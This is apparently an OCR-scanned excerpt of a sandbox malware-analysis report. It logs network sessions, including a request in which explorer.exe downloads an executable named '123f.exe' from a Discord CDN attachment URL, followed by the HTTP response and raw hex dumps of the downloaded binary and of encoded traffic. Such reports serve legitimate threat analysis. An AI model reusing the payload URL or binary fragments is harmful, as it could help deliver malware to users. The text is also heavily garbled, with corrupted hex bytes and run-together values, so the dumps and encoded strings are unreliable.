Data Ascii: kd4Q2VYUmxjd0JEY]I1MIpYSjBWRzIDZVhSbGN3QkhaWFJDZVhSbGN3QmIWFJIsY3dCSFpY Uk1iMmR
WWTJGC1JISnBkbVZ6QUVOVGFHRNIRUZEWNWAFpXNTBTVZVt
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kBytes

Timestamp transferred Direction
2021-11-18 09:30:21 UTC 304 IN
2021-11-18 09:30:21 UTC 320 IN
2021-11-18 09:30:21 UTC 336 IN
2021-11-18 09:30:21 UTC 352 IN
2021-11-18 09:30:21 UTC 368 IN
2021-11-18 09:30:21 UTC 384 IN
Session ID Source IP Source Port
1 192.168.2.7 49802
kBytes
Timestamp transferred Direction
2021-11-18 09:30:32 UTC 391 ouT

Copyright Joe Security LLC 2021

Data

Data Raw: 00 55 00 63 00 34 00 51 00 57 00 4e 00 6e 00 51 00 6e 00 42 00 42 00 53 00 46 00 46 00 42 00 59 00 55 00
46 00 43 00 64 00 45 00 46 00 47 00 51 00 55 00 46 00 6a 00 5a 00 30 00 4a 00 32 00 51 00 55 00 68 00 5a 00 51 00 57
0046 00 52 00 51 00 6b 00 35 00 42 00 52 00 31 00 56 00 42 00 59 00 6¢ 00 46 00 43 00 64 00 6b 00 46 00 49 00 53 00
55 00 46 00 6¢ 00 55 00 55 00 4a 00 55 00 51 00 55 00 68 00 52 00 51 00 57 00 4e 00 6e 00 51 00 6d 00 78 00 42 00 52
00 30 00 56 00 42 00 59 00 6¢ 00 46 00 43 00 61 00 30 00 46 00 48 00 56 00 55 00 46 00 6a 00 5a 00 30 00 46 00 42 00
520031005500 77 00 51 00 56 00 70 00 52 00 51 00 6e 00 52 00 42 00 52 00 7a 00 68 00 42 00 59 00 32 00 64 00 43
00 4e 00 55 00 46 00 47 00 54 00 55 00 46 00 6b 00 51 00 55 00 4a 00 35 00

Data Ascii: Uc4QWNnQnBBSFFBYUFCAEFGQUFjZ0J2QUhZQWFRQK5BR1VBYIFCAKFISUFIUUJUQUhRQ
WNNnQmxBROVBYIFCa0FHVUFjZOFBR1UWQVpRQNRBRzhBY2dCNUFGTUFkQUJ5

Data Raw: 00 6e 00 68 00 56 00 55 00 30 00 78 00 52 00 52 00 56 00 4e 00 6e 00 54 00 57 00 64 00 48 00 52 00 6¢ 00
4a 00 4b 00 53 00 6b 00 46 00 6e 00 4e 00 45 00 39 00 43 00 55 00 30 00 46 00 44 00 51 00 56 00 4a 00 33 00 57 00 55
00 64 00 53 00 51 00 55 00 4e 00 42 00 61 00 46 00 56 00 54 00 5a 00 30 00 74 00 56 00 51 00 6b 00 68 00 6e 00 52 00
56 00 5a 00 46 00 62 00 30 00 4e 00 73 00 51 00 56 00 49 00 30 00 51 00 55 00 5a 00 53 00 53 00 6b 00 70 00 42 00 61
00 44 00 52 00 42 00 53 00 47 00 64 00 46 00 52 00 55 00 4e 00 6e 00 53 00 55 00 39 00 45 00 5a 00 31 00 6¢ 00 57 00
52 00 57 00 39 00 44 00 62 00 45 00 46 00 52 00 4e 00 45 00 5a 00 47 00 55 00 6b 00 6b 00 78 00 51 00 56 00 45 00 30
00 51 00 30 00 4a 00 6e 00 4e 00 45 00 5a 00 4a 00 51 00 55 00 6¢ 00 50 00

Data Ascii: "hVUOXRRVNNTWdHRIJKSKFNNE9CUOFDQVJI3WUdSQUNBaFVTZ0tVQkhnRVZFbONsQVIOQUZSSkpBaDR
BSGAFRUNNSU9EZ1IWRW9DbEFRNEZGUKkxQVEOQOJNNEZJQUIP

Data Raw: 00 57 00 74 00 72 00 51 00 30 00 5a 00 53 00 53 00 58 00 52 00 42 00 55 00 6b 00 74 00 42 00 4d 00 45 00
46 00 4a 00 52 00 55 00 4a 00 6f 00 53 00 30 00 4a 00 4a 00 51 00 56 00 46 00 48 00 52 00 57 00 39 00 47 00 51 00 55
00 4a 00 42 00 57 00 56 00 4e 00 6e 00 53 00 54 00 42 00 46 00 51 00 6d 00 68 00 4c 00 51 00 57 00 78 00 53 00 51 00
55 00 64 00 47 00 55 00 6b 00 74 00 42 00 62 00 56 00 46 00 46 00 56 00 6b 00 56 00 76 00 51 00 32 00 52 00 42 00 65
00 45 00 74 00 42 00 62 00 31 00 4a 00 33 00 59 00 30 00 56 00 42 00 57 00 56 00 5a 00 46 00 62 00 30 00 4e 00 61 00
51 00 56 00 4a 00 56 00 55 00 32 00 64 00 4b 00 4d 00 45 00 52 00 46 00 62 00 30 00 4e 00 6f 00 53 00 45 00 45 00 30
00 52 00 55 00 4a 00 6f 00 53 00 30 00 4a 00 57 00 51 00 54 00 42 00 48 00

Data Ascii: WtrQOZSSXRBUktBMEFJRUJ0S0JJQVFHRWI9GQUJIBWVNNSTBFQMhLQWXSQUAGUKtBbVFFV
kVvQ2RBeEtBb1J3Y0OVBWVZFbONaQVJIVU2dKMERFbONoSEEORUJOS0JWQTBH

Data Raw: 00 55 00 68 00 42 00 51 00 57 00 4a 00 42 00 51 00 6d 00 68 00 42 00 53 00 47 00 74 00 42 00 56 00 47 00
64 00 43 00 61 00 45 00 46 00 48 00 4d 00 45 00 46 00 61 00 55 00 55 00 46 00 42 00 51 00 55 00 64 00 6e 00 51 00 57
00 4a 00 33 00 51 00 6e 00 70 00 42 00 53 00 46 00 46 00 42 00 57 00 48 00 64 00 43 00 63 00 6b 00 46 00 48 00 56 00
55 00 46 00 6¢ 00 55 00 55 00 4a 00 50 00 51 00 55 00 64 00 46 00 51 00 57 00 4a 00 52 00 51 00 6d 00 78 00 42 00 53
00 46 00 46 00 42 00 57 00 6b 00 46 00 43 00 61 00 45 00 46 00 49 00 55 00 55 00 46 00 5a 00 55 00 55 00 46 00 42 00
51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 6¢ 00 52 00 42 00 52 00 56 00 56 00 42 00 56 00 45 00 46 00 43
00 52 00 6b 00 46 00 46 00 54 00 55 00 46 00 57 00 51 00 55 00 46 00 6e 00

Data Ascii: UhBQWJIBQmMhBSGtBVGdCaEFHMEFaUUFBQUAdNQWJ3QnpBSFFBWHACckFHVUFIUUJPQUAFQ
WJIRQmMxBSFFBWKFCaEFIUUFZUUFBQUFBQUFBQIRBRVVBVEFCRKFFTUFWQUFN

Data Raw: 00 55 00 5a 00 33 00 51 00 56 00 5a 00 52 00 51 00 6¢ 00 52 00 42 00 53 00 46 00 46 00 42 00 59 00 32 00 64
0043 00 63 00 45 00 46 00 48 00 4e 00 45 00 46 00 61 00 64 00 30 00 46 00 31 00 51 00 55 00 5a 00 4a 00 51 00 56 00
700052 00 51 00 6e 00 64 00 42 00 52 00 33 00 64 00 42 00 57 00 56 00 46 00 43 00 61 00 6b 00 46 00 48 00 56 00 55
00 46 00 6a 00 64 00 30 00 4a 00 73 00 51 00 55 00 68 00 4a 00 51 00 57 00 4a 00 6e 00 51 00 6d 00 68 00 42 00 52 00
7a 00 42 00 42 00 57 00 6¢ 00 46 00 43 00 59 00 30 00 46 00 47 00 4d 00 45 00 46 00 4d 00 64 00 30 00 49 00 79 00 51
00 55 00 64 00 46 00 51 00 56 00 56 00 33 00 51 00 6a 00 42 00 42 00 53 00 45 00 6¢ 00 42 00 59 00 56 00 46 00 43 00
64 00 55 00 46 00 48 00 59 00 30 00 46 00 4d 00 5a 00 30 00 4a 00 54 00

Data Ascii: UZ3QVZRQIRBSFFBY2dCcEFHNEFadOF1QUZJIQVpRQNdBR3dBWVFCakFHVUFjd0JsQUhJQ
WJInQmhBRzBBWIFCYOFGMEFMdOlyQUdFQVV3QjBBSEIBYVFCAUFHYOFMZ0JT

Data Raw: 00 30 00 59 00 77 00 56 00 6d 00 6¢ 00 31 00 59 00 55 00 4a 00 4a 00 55 00 32 00 77 00 7a 00 5a 00 54 00 46
0052 00 64 00 46 00 68 00 75 00 59 00 6b 00 78 00 7a 00 62 00 56 00 6¢ 00 5a 00 53 00 58 00 56 00 78 00 54 00 6b 00
6f 00 30 00 61 00 45 00 55 00 7a 00 51 00 33 00 4e 00 43 00 51 00 6¢ 00 4d 00 30 00 5a 00 31 00 4a 00 69 00 64 00 31
00 70 00 4d 00 4d 00 57 00 78 00 33 00 4c 00 32 00 74 00 4e 00 54 00 45 00 39 00 5a 00 54 00 30 00 64 00 34 00 65 00
45 00 68 00 6f 00 62 00 44 00 67 00 78 00 5a 00 57 00 35 00 55 00 65 00 6¢ 00 52 00 5a 00 4f 00 56 00 46 00 53 00 53
00 33 00 4a 00 58 00 65 00 55 00 56 00 4a 00 55 00 32 00 31 00 36 00 64 00 6b 00 39 00 71 00 56 00 55 00 70 00 42 00
4d 00 46 00 5a 00 30 00 4d 00 46 00 6f 00 78 00 5a 00 55 00 4a 00 7a 00

Data Ascii: 0YwWVmI1YUJJU2wzZTFRdFhuYkxzbVIZSXVxTko0aEUzQ3NCQIM0Z1Jid1pMMWx3L2tNTE9ZT0d4eEh
obDgxZW5UelRZOVFSS3JXeUVJU216dk9qVUpBMFZOMFoxZUJz

Destination IP  Destination Port Process
162.159.130.233 443 C:\Windows\explorer.exe

Data

GET /attachments/903028136416002089/910600430113931304/123f.exe HTTP/1.1
Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: cdn.discordapp.com
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kBytes
Timestamp transferred

2021-11-18 09:30:32 UTC 391

2021-11-18 09:30:32 UTC 392

2021-11-18 09:30:32 UTC 393

2021-11-18 09:30:32 UTC 394

2021-11-18 09:30:32 UTC 395

2021-11-18 09:30:32 UTC 397

2021-11-18 09:30:32 UTC 398

Copyright Joe Security LLC 2021

Direction

IN

Data

HTTP/1.1 200 OK

Date: Thu, 18 Nov 2021 09:30:32 GMT

Content-Type: application/x-msdos-program

Content-Length: 2897408

Connection: close

CF-Ray: 6b002e41deeade5hb-FRA

Accept-Ranges: bytes

Age: 53312

Cache-Control: public, max-age=31536000

Content-Disposition: attachment;%?20filename=123f.exe

ETag: "a77f1ed5881d44fc95bf3da05c349385"

Expires: Fri, 18 Nov 2022 09:30:32 GMT

Last-Modified: Wed, 17 Nov 2021 18:41:00 GMT

Vary: Accept-Encoding

CF-Cache-Status: HIT

Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
X-goog-generation: 1637174460770077

X-goog-hash: crc32c=Juu6Zw==

X-goog-hash: md5=p38e1YgdRPyVvz2gXDSThQ==

X-goog-metageneration: 1

X-goog-storage-class: STANDARD

x-goog-stored-content-encoding: identity

X-goog-stored-content-length: 2897408

X-GUploader-UploadID: ADPycdvREhJKGGYrEoWXB6Gmy3jl-cN4Q_HoOLH8oncCQd10wSf3IStuOdwe_nBum9dY
Sl1dugBnpMC9n72stRF1sn4

X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp

Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6 69 6e 74 73 22 3a 5b 7b 22 75 72 6¢ 22 3a 22 68 74 74
70 73 3a 5¢ 2f 5¢ 2f 61 2e 6e 65 6¢ 2e 63 6¢ 6f 75 64 66 6¢ 61 72 65 2e 63 6f 6d 5¢ 2f 72 65 70 6f 72 74 5¢ 2f 76 33 3f 73
3d 69 76 76 6¢ 77 62 66 4f 6b 64 73 71 6¢ 42 69 41 35 6¢ 44 43 52 5a 43 6a 43 62 37 44 51 49 34 61 36 51 64 32 74 6e
30 6a 70 55 41 58 74 65 55 64 62 49 70 36 50 75 30 66 73 6a 49 38 46 4f 32 5a 62 39 4e 77 62 6¢ 43 73 57 42 75 52 46
38 6a 6e 34 57 39 62 68 6d 77 4d 41 5a 5a 69 36 78 77 57 43 44 6d 30 36 53 62 50 30 67 68 4c 53 64 78 52 68 4e 67 41
45 58 4b 78 78 6e 4d 49 53 6¢ 4c 62 4d 55 32 78 4¢ 51 25 33 44 25 33 44 22 7d 5d 2¢ 22 67 72 6f 75 70 22 3a 22 63 66 2
d 6e 65 6¢ 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30

Data Ascii: Report-To: {"endpoints":[{"url":"https:\/Va.nel.cloudflare.comV/report\/v3?s=ivvlwbfOkdsqIBiA5IDCRZCjCb7DQI
4a6Qd2tn0jpUAXteUdblp6Pu0fsjIBFO2ZbINwbICsWBURF8jn4W9bhmwMAZZi6xwWCDmM06ShPOghLSdXRhNgAEXKxX
xnMISILbMU2xLQ%3D%3D"}],"group™:“cf-nel","max_age":604800

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 f6 b9 39 af 00 00 00 00 00 00 00 00 e0 00 Oe 01 Ob 01 30
00 00 ee 02 00 00 92 03 00 00 00 00 00 60 f7 4e 00 00 20 00 00 00 20 03 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00
00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 76 00 00 04 00 00 83 57 2¢ 00 02 00 40 80 00 00 10 00 00 10 00 00 00
00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL90'N @ vW,@

Data Raw: cd 4c aa 4a 19 24 ¢5 50 39 1a cf 47 f9 61 dd 4f 45 8a c2 37 8b 4a 2a 30 78 a7 e6 15 93 06 ea 52 e3 31 f3 37 2
1d ab 53 37 3b 75 d1 8a 42 9d be 25 67 c0 66 51 fe 3f 29 03 Oe 2d 5d c1 41 3c 42 1a 48 f0 99 59 5c le 6f 2d 47 e0 4a 01
32 2f 3f 7a 6a €5 79 e7 4e ea 85 11 f3 ¢8 6f 19 dO c2 40 b8 3a 06 2f ff 67 05 ae 5¢ 5¢ 72 05 55 a0 55 5d 44 6e d1 fc 20 3a
2c 74 65 4a d3 5¢ 5f ed e6 1e 43 d2 8a 10 30 4b 3¢ 57 79 20 46 34 e4 38 53 b0 0 f4 df bb a6 6b 5a a4 39 46 f8 49 56 be
d6 63 64 f2 f9 fe da 15 ¢5 57 2a 90 ¢5 35 a2 92 ¢4 35 78 33 cb cb 9e 39 24 3b 90 76 8 45 25 48 01 34 a4 90 6b 2c 88 35
2882 50 6¢ 86 35 el 9c 8d f4 3d f8 d4 2d 2d 6b 38 37 f4 90 d5 2d ae b7 93 8a 2a 43 ae fa 93 6a 91 56 2b fd f2 b2 4a 60
db f0 48 8a d9 3b 5¢ d6 d4 e8 34 47 d4 2d c0 08 le

Data Ascii: LI$P9GaOE7J*0xR17S7;uB%gfQ?)-JA<BHY\0-GJ2/?zjyNo@:/g\rUU]Dn :,teJ\_COK<Wy F48SkZ9FIVcdW
*55x39$;VE%H4K,5(P15=--k87-*CjV+J H;\4G-

Data Raw: 61 1f f8 70 €5 56 c5 bb 34 11 e8 03 38 ff b0 7f 93 f8 bc 00 2f 47 dd ¢7 81 d5 3f 3¢ 57 Oe 18 5¢ 32 21 6¢ 5f 50 69
3f 46 cd 1a 6¢ 00 38 68 57 15 4b 8d bf 51 30 f2 46 d2 38 da d7 4f 34 2b 36 7f 9c ff a7 27 49 d6 53 54 3f 24 71 9d 8d a6 40
33 bb 233134 59 21 eb ed 81 ¢9 67 9d 78 91 3e 51 69 3c 85 76 3a 9a €0 ae Oc 3b 60 23 73 d3 50 Oc 6¢ 2f cd 02 4e 2b 50
0d 78 ac bb 42 3c 8d 23 24 30 c4 aa 8f ba d6 2a 91 59 dd 46 41 f9 dO 76 22 fe 2a b6 8a 9c e2 50 dc 67 87 64 el 77 c4 db
4c eb 60 71 fd 5a cb 34 1e 48 20 8b 77 ee c0 b7 06 3a a8 e4 34 4c 6b 1a 84 3f 1a 49 57 2b ea Ob 4d 77 ea 27 dd 9c fb cf
55 7c c6 f7 40 e5 85 a0 37 a7 6e 40 5e 3e 8d 93 07 40 2a 5b 4a 11 df bc dd fO 9e 35 15 Ob c9 a5 ff fa 28 35 el 87 e6 d9
46 b6 54 8c 62 78 46 b5 76 7f 6b 3b 58 27 be 74

Data Ascii: apV48/G?<W\2!|_Pi?FIBhWKQOF804+6'IST?$q@3#14Y!gx>Qi<v:; #sPI/N+PxB<#$0*YFAv"*PgdwL qZ4H
wWALK?IW+Mw'U|@7n@">@*[J5(5F ThxFvk; X't

Data Raw: 6e €5 58 6b a5 58 €9 cd d4 3e 7b 6f f2 70 de 5a ae 83 40 d2 8d 85 04 cc 20 bf 07 07 59 4f 35 b3 78 3b d9 53
€6 87 fb 41 5e b8 87 59 04 35 38 35 ed ee 5f 86 53 85 49 Oe 2b ce c5 e7 3f 2a 27 30 ¢7 08 70 47 14 98 43 ce fa b0 64 33
517422 d5 6 7a 16 69 aa 4b 5b ad c5 44 7d 2a 2c 5b 15 bb e4 70 39 f2 2e 36 ¢5 45 €9 90 bc 4b 20 af 4c af 5a cf ee aa
b0 db 59 02 8b 78 ¢4 4c d2 67 00 6c¢ cf dc ae 10 77 55 60 36 40 a7 78 38 25 99 10 c1 fe ae 40 Oe 77 3e 14 7h e6 74 5 28
57 44 94 8e 50 35 40 b1 e6 90 5b 3a a2 18 d6 9c 9c ch c9 83 2a 52 7b 6b €6 d9 67 ae 58 95 Oe 89 6b 79 ef b9 ab 42 38
€2 8978 27 ed 70 ec 71 8b 6a 9b 49 09 41 2c bc 61 9d df 55 31 dd 74 01 6f e8 bb cd 91 21 e3 cf d1 82 57 b9 05 93 3d 29
7b ac 71 23 bb ¢3 fc 3d 38 d3 85 80 50 b5 b5 65 18 2f 6¢ e6

Data Ascii: nNXkX>{opZ@ YO5x;SA"Y585_SI+?*0pGCd3Qt"ziK[D}*,[p9.6EK LZYXLglwU 6@x8%@w>{t(WDP5@[:*R{kg
XkyB8x'pajlA,aUlto!W=){g#=8Pe/l

Data Raw: 03 f9 26 58 91 9f ad f4 c5 c2 67 ec 67 00 48 30 el 68 55 c3 60 26 40 27 bd 4e fe aa 58 d6 ba da 3c f8 a9 05 a8
5e 20 e8 3b 1f 7a c4 3f 45 37 61 40 7f el e6 93 ab d6 6¢ Ob c0 05 dO f7 00 be 26 bd 85 4d d0 dO ff 61 ee 79 c9 ec 6d 74 5¢
€7 56 c6 21 b0 d3 c6 25 fe 72 53 02 de c3 ab cc 90 03 2f 27 50 4a 5e 34 f6 db 83 4a 87 e0 33 d5 31 e7 3e ca d2 3d 8f 49
3c f1 37 06 4a 18 5e 44 b9 db b0 25 d4 a8 f7 ba 77 d3 6c 5e d6 6d 37 be b1 81 03 d4 e6 5a 41 05 b8 06 73 35 1b d2 33 c3
5 05 76 5b cc df 73 d3 3b 2d 36 39 b3 93 be 02 02 34 3d 60 20 96 3a 9a 86 a8 ee 65 b4 46 6e e3 34 fa 8¢ 6e bf 28 2¢c 5d
3e da Oc Oa bd 7e 4e 06 d7 e0 8e 5c 38 07 be cc 55 6a 3a 38 58 8a 48 35 84 d9 4f 7e 0d 91 ba 20 42 2b b8 79 b8 3c 8¢ cd
d2 81 42 32 d7 €9 48 05 3f e8 df 98 2d b1 Oc 86 Oa

Data Ascii: &XggHOhU &@'NX<” ;z?E7a@I&Maymt\V!%rS/'PJ 4J31>=I<7J"D%wWI"m7ZAs53V[s;-694=":eFn4n(,]>~N
\8Uj:8XH50~ B+y<B2H?-
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kBytes
Timestamp transferred Direction Data

2021-11-18 09:30:32 UTC 399 IN Data Raw: d4 95 e9 4e 5c 6a 4e 38 b8 f6 c7 d6 b4 01 a8 ab 92 f3 90 ad 5e 63 eb ae 36 b7 46 71 b9 93 34 9d b6 56 ch 32
0Oc b4 09 43 15 c1 5e 89 7e 81 f3 33 76 5d 53 41 5f 41 eb 2d 15 fb 67 be Of 6 06 6 fa 61 62 5a 17 42 b3 e5 41 fb 20 13 5f
5a 39 36 cf 47 23 24 17 Ob 2f fa c6 58 30 43 3c 5b 82 d3 f8 3a 84 91 44 1c 03 7f 16 5b ce 7 4f 15 5d 86 ac a7 8d f2 69 57
23 bd 6b 85 ¢4 2f a0 69 9c 6f d7 d9 29 9f e8 61 da 4f 3a 2f d4 82 86 ba d3 42 69 65 64 8f 6a 40 b3 11 44 75 3d 36 df 22 ca
14 Oc 4b db d3 e8 30 de 8e 48 32 56 0d 38 fe 28 4e 90 3b fe 52 4b 89 1b de 47 6b 5b 2e 4f 2f 2b 79 35 bb 13 09 cf fb 7d
4d 8a ad e4 fa 70 fe af 27 8d 48 30 f6 35 07 68 99 84 f0 1d bf 88 ec c1 5 f2 65 17 24 8c be 3b fe 51 11 15 41 99 ae €9 4d
51 17 f4 99 94 92 01 5 9e 34 6f 12 01 36 d9
Data Ascii: N\NBAC6Fq4V2C~3v]SA_A-goabZBA _Z96G#$/X0C<[:D[O]iW#k/io)aO:/Biedj@ Du=6"KOH2V8(N;RKGKI.
O/+y5Mp'HO5he$;QAMQ406

2021-11-18 09:30:32 UTC 401 IN Data Raw: 4c be 8e fa 3e bc 42 16 13 6b 62 c1 ad d7 5b 73 51 24 Ob 17 90 54 65 07 3e a2 51 30 db 55 35 54 34 8d c0 4d
5b 89 37 d0 25 f3 6¢ 3e ba ad 0b 3f €6 ce d7 90 c6 87 ef 3b 26 be d3 24 d6 e3 b0 7a 5d ba 70 27 02 8e b6 3¢ 50 86 35 9b
31 d3 76 7e df ea de 7e fd 62 97 9b c6 53 59 36 el 56 2f fc 8f 1d c7 27 03 28 64 37 83 be 46 25 09 55 dc ef ca fb 80 9e c9
74 38 0f cd ce fd ab 8d 9 50 a9 b6 7f 64 35 b2 87 5b 02 83 d6 e1 30 d1 c1 d1 14 4d 2b f2 7c 30 c4 aa 48 fd 26 a4 fb 4e b3
Oe d2 97 5e ch 59 b3 23 d4 78 ba d2 3e 2d 47 ee 75 16 7d 2d 54 55 a3 21 79 e9 2c a5 e d5 05 a2 98 c8 6 4b b4 fb 34 fb
f2 74 d7 71 €5 48 34 b0 d7 5c 42 da 60 3f 33 18 d2 fa 6b 5e 3b 49 59 b0 25 50 41 d9 c1 49 78 38 c3 8 3c d8 27 dc 09 95
83 4a f3 12 49 85 42 df 19 cc 5 76 78 2c 8 9b 52
Data Ascii: L>Bkb[sQ$Te>QOU5TAM[7%I>7?;&$z]p'<P51v~~bSY6V/ (d7F%UBPA5[OM+|OH&NAY#x>-Gu}-TUly,KAtgHA\B 2
3K IY%PAIX8<JIBUX,R

2021-11-18 09:30:32 UTC 402 IN Data Raw: ca 43 ee 17 da bc b6 b7 4b 6a 25 d9 27 6¢ a6 a3 12 7d 23 a5 b9 d4 5d 16 2f 4f ¢5 69 f2 ¢8 33 91 cb €6 45 71
d6 67 d3 7a af 97 0f 96 c5 20 64 9b 4f 49 df 86 4c 30 04 dc e7 4f 1f 69 b9 aa 23 6¢ 16 36 25 79 fd fe 3d d2 cc d6 ae 5b d6
cd a8 ba 9d 47 29 89 56 66 ae 30 cb 42 8b 3a 49 2d b7 31 24 f4 3a 53 92 41 4e ce a5 60 03 f2 9e 7a 7f 20 cb b3 al 69 fa
52 7b 13 07 6d 01 77 fd 2b d1 43 5d 20 23 7f b8 c2 3c 82 ¢8 50 €8 7b ac dc cb 05 92 8e 05 52 ca 9c ¢8 32 b9 48 d4 9c 87
d5 82 cb cO c8 ca 2a c4 aa 11 89 c6 4f c7 bd 59 4e f2 b6 38 b3 d3 55 07 Of 22 bf df 5¢ a3 ba 5f 3f aa 5¢ d6 af 5¢ 5b 77 59
25 20 fe cc 4f 67 74 3d 05 24 3b 1e bf 33 fa el 89 3e 4c 51 94 ce e3 8d 6f fa 41 8c d7 66 1f 4b 3f 62 3¢ 42 59 8d c3 1f 79
3b 04 6¢ 73 25 fc 9d ef f8 7e bf 8e 2f 64 d1 41
Data Ascii: CK|%'l}#]/Oi3Eqgz dOILOOi#|6%y=[G)VfOB:I-1$:SAN "z iR{mw+C] #<P{R2H*OYN8U"\_?\\[wY% Ogt=$
;3>LQOAfK?b<BYY;Is%~/dA

2021-11-18 09:30:32 UTC 403 IN Data Raw: ab 4e 44 4f 95 c7 b0 bb af 5b 65 ae 5¢ 58 22 fb 1b 5a 7c 5a 25 47 bb fa €6 ab 35 a3 53 e2 c2 d0 c5 f5 79 ea a4
98 el c2 31 ee Oe al 2c 25 59 23 fc c3 fa 84 8e 3b al fd 8e f9 64 67 6a 5¢c c8 51 93 de aa 86 e4 46 65 ca 73 2a 5f fb 81 09
86 ef 75 3b 65 93 bc 06 d1 80 64 72 ac 39 81 33 89 16 55 b8 e3 4e 2a b5 e5 e6 47 ed 69 48 81 f2 12 70 a9 24 58 d6 d6 35
d2 95 69 16 f7 b2 f0 fd 61 1a 2a 4f fd 18 02 a5 01 ff fb ef 46 ea 70 c8 eb c2 4e a3 cc 00 de 72 90 86 fd a2 5b €9 c5 b8 5c 11
3 88 8b €9 bf 4e 2a 9b 17 70 b2 b3 2c 07 7e ed Oe cc c2 a8 2b 49 a6 ed 35 91 63 59 72 7c 6f 4d 71 cc 4b ad d8 8a c5 e2
f0 47 b2 f5 4d 3d 1b db f3 3f da e2 Oe 18 47 cd 6¢ 35 26 3a 15 df 4c de 54 fe b0 31 76 f6 cc 50 a0 c6 64 dd 86 ea e5 96 0f
€6 51 ed 3c 59 d1 08 8c f2 3f ee 16 47 3
Data Ascii: NDO[e\X"Z|Z%G5Sy1,%Y#;dgj\QFes* _u;edr93UN*GiHp$X5ia*OFpNr[\N*p,~+I5cYrjoMgKGM=?GI5&:LT1v
PdQ<Y?G

2021-11-18 09:30:32 UTC 405 IN Data Raw: 68 8e el f1 ¢7 80 9b 09 38 78 9e 51 98 6b Ob 1f 20 87 c1 6b 6f 54 a4 60 ca f9 59 a2 64 f6 6b 87 2f 28 db ec b3
6f 46 d3 40 b0 47 1d 44 f0 75 c8 1b 32 b5 e6 3d Ob 92 c5 40 f0 71 98 25 ¢4 07 2c 05 7b 1b d6 00 87 71 0f e6 01 57 Oc 74
3e 70 94 f2 4f 33 98 43 b8 b3 ab 7e 74 56 38 02 50 6d 58 ce 00 c7 1c 74 4a 4f 6e 1d 5b f2 2e fd d8 2b 4f 5d 5a ea 37 da 8f
86 85 5a 8d be ac 0f 21 8¢ 66 6d 44 ed a4 9b 50 3b b1 be 21 da 65 69 ae 9b e ee 79 54 22 f0 43 06 Ob 72 db bc be 28 3f
€2 34 7f 34 f9 89 65 b8 96 73 23 6d a9 08 02 01 85 74 df f1 2a 44 27 a8 06 5¢ 67 b0 b6 68 21 10 d0 cb 4e 2b 14 0f c4 e7
60 3f 79 cc cf 31 55 e6 db 34 45 1d 7d c4 8b ca 64 47 40 92 80 c9 87 3a da f1 57 30 26 f0 2e ef 4f 9¢ 80 9c 7d 49 a7 5e 94
30 9a 65 2b 09 29 87 c0 5b al fb 2d da a3 17 49
Data Ascii: h8xQk koT"Ydk/(oF@GDu2=@q%,{qWt>pO3C~tV8PmXtJOn[.+O]Z7Z!fmDP;!eiyT"Cr(?44es#mt*D'\gh!N+"?
y1U4E}dG@:W0&.0}1"0e+)[-I

2021-11-18 09:30:32 UTC 406 IN Data Raw: 37 84 4c 41 de 62 53 3f ea 22 50 32 d3 f0 32 ac 6¢ 4f 24 52 4c bf 60 f1 ef dc 8a 27 4c de 45 ee f4 8b 82 cc 1f df
ec 87 e6 fa bf 4c f6 d6 12 52 5e 25 2a ec e0 da 41 c8 cf 6a 49 04 30 12 f0 29 Ob b1 65 6¢ 58 4b ed a8 2f 7c ce 3c d4 cb db
88 b3 84 02 55 fb 1a 44 90 fa 97 72 2d 93 5f Of 41 79 48 a7 43 4e 39 79 00 f3 d9 27 e6 10 48 c1 b0 8b 5c a6 83 e3 d4 9d
ac 18 f0 04 ed da e6 30 f4 9a 17 d5 3f 35 b0 6d Oa de 77 db 42 38 d4 16 ad da e6 01 15 2d b0 d2 15 2¢ 2d 01 b2 6c bc 89
a5 6f f0 15 47 d0 c6 ca 75 56 55 bd e0 fe cf 37 ac b4 72 3f ab 42 7e 17 Oc e7 e9 el c1 57 e0 e2 01 05 e3 fe ae f7 32 52 {3
58 57 ¢4 e4 2a 2f 3d c4 b8 ff f8 be 20 c7 66 d7 d3 e4 91 66 Oa 65 35 f0 5f ef f4 8a 76 d5 48 06 bf a7 37 ef f1 e0 62 a8 92 bt
97 48 47 c6 9e Ob 54 46 2d c4 5b 1b 93
Data Ascii: 7LAbS?"P22|0$RL "LELR"%*Ajl0)elXK/|<UDr-_AyHCN9y'H\0?5mwB8-,-loGuVU7r?B~W2RXW?*/= ffe5_vH
7bHGTF-[

2021-11-18 09:30:32 UTC 407 IN Data Raw: a9 3b 52 37 b1 8c 36 9f 8d 75 6f b9 8a a5 b5 ec f5 13 4d Oa d5 a2 3a 51 64 99 69 3f e9 a3 08 d2 42 89 bb d4
Oc f5 68 5e 72 df 96 e6 22 4f 9e 7d 93 dc b8 d2 69 dO cc 6f 77 6a 55 a9 35 50 a4 d7 4e c3 de 77 fe 72 f6 f3 85 7 f1 d4 2a
5 50 4f 12 cb d8 7f d0 db e8 da b8 8a d3 2b €9 d2 60 dO d0 82 e8 e7 fa 6b 6f f3 ee de 14 d8 bb 6b a6 b7 41 1c 24 aa c8
9e d7 eb 7d 47 09 32 38 83 77 3c 60 49 59 ea 0a 56 53 96 e4 35 cf fa 09 5e el bb d0 05 8e 77 ef 66 ac 7 f5 35 22 50 cc
